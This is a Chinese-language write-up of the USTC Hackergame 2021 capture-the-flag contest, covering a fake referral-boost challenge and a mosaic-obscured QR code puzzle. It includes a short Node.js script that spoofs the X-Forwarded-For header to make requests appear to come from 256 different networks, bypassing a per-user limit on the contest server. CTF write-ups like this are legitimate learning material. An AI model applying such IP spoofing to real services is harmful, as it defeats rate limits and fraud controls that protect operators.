USTC Hackergame 2021 Writeup

前言

惭愧,大三了才发现这类比赛,第一次参加很激动。这该死的浓厚的来自互联网深处传来的精神魅力深深吸引住了我,虽然参与这竞赛并不能拿奖,但当挖出埋藏的宝藏(flag)时,视野的拓宽、精神的成就和肉体的疲惫交织在一起是真的愉悦。

解题记录

这里只记录了一些有意思的题目。

FLAG 助力大红包

“听说没?【大砍刀】平台又双叒做活动啦!参与活动就送 0.5 个 flag 呢,攒满 1 个 flag 即可免费提取!”

“还有这么好的事情?我也要参加!”

“快点吧!我已经拿到 flag 了呢!再不参加 flag 就要发完了呢。”

“那怎么才能参加呢?”

“这还不简单!点击下面的链接就行”

题目

题面来看着实有趣,下面是助力的规则。

活动规则:

  1. 用户在本活动中可以通过邀请好友助力的方式获得 flag 提现机会。收集满 1 个 flag ,即可提取 1 个 flag。

...

  1. 每个用户只能够助力一次。为了建设世界一流大砍刀平台,活动要求位于同一 /8 网段的用户将会被视为同一个用户。(比如 IP 地址为 202.38.64.1 和 202.39.64.1 将被视为同一用户。)达到助力次数上线后,将无法再帮助好友助力。我们使用前后端方式检查用户的 IP 。
手动助力

试着给自己手动助力一下,加了0.0038836个flag,又仔细看了下题目,同一 /8 网段会被视为同一用户,意味着你另外要找全世界127个不同的网段的人帮你,找代理池是个好办法但作为白嫖党当然是不可能的事。

助力失败

然后打开了助力页面,看了下请求头,POST地址是助力链接,携带了一个表单,这个ip是从第三方获取到的。手动改一下POST试试。

F12

ops
很好,还真是前后端检查ip。找了一下还真有伪造ip地址请求的头参数:X-Forwarded-For,然后写了个小脚本。

nice
var request = require('request');
var p = /(?<=alert\">\n\s+)(.)*/
var uuid = ''
function options(i) {
    let ip = `${i}.8.8.8`
    return {
        'method': 'POST',
        'url': `http://202.38.93.111:10888/invite/c1b1ff6b-494b-4f3d-8fa7-4150273f4dce`,
        'headers': {
        'x-forwarded-for': ip,
        },
        formData: {
            ip
        }
    }
}
var i = 0
setInterval(function () {
    let ip = options(i)
    console.log(ip);
    request(ip, function (error, response) {
        console.log(p.exec(response.body)[0]);
    });
    i++
}, 1000);

跑完发现,必须要256个助力,0和255是保留网段,看来出题人已经指定了唯一解法。

马赛克

共享单车只剩下一辆,走近一看,果然是一辆二维码被坏人涂掉一大块的车,谁也骑不走。

我今天还非就要把这个辆车骑走。

于是你开始研究起来这个二维码。

qrbefore

仔细数了下像素格子,二维码小格边长11像素,马赛克格子边长23像素,这意味着一个马赛克下面一定会完全或部分涵盖9个二维码小格,马赛克色值是所有23X23=529个像素色值的均值并向下取整

因为原二维码图片的像素非黑即白,我们知道了马赛克的色值,就能求得529个像素内白色像素的个数范围(向下取整造成的范围)。一个马赛克可以根据二维码小格边界分为九个区域,因为一个二维码小格内的像素色值是相同的,所以我们可以让九个格子随意组合(1到9个、每个区域只能用一次),挑出唯一在白色像素范围内的组合,那他们就是白格子(二维码格子),其余是黑格子。当然事情并不会那么顺利,如果组合大于一组,我们还可以根据已知的区域缩小范围或者求他们的交集与先并后非集得出唯一组合或确定的某个区域。

理论是有了,实现上我又写了个脚本,但是效率太低了,不能实现自动化去马赛克,只能拉来一个免费劳动力帮我整(惨)。代码打包已经传到了npm上。

sudo npm i -g qrfix #全局安装
qrfix 1 2 30 40 50 #前两位是第一区域的像素宽高 从第三位开始依次往右填入马赛克色值
qrfinal

遗憾的是,直到最后我们还是没能解出来,因为区域区域的相同会造成多组合产生,时间不够导致不难尝试所有可能的组合。如果控制算法做好,能直接生成所有组合的图像,这题不难。

最后

final score

1400分,排名240,不错,第一次见识到了差距。

但从业余无线电字母解释法到特殊的GraphQL数据库设计,再从逆马赛克算法设计到全局npm指令包制作,短短一周我看到接触到了太多大开脑洞的优秀的可能再也不会接触的思想逻辑与技能知识。无论结果如何,这一周可以说是荒废又充实的。CTF真是太棒了!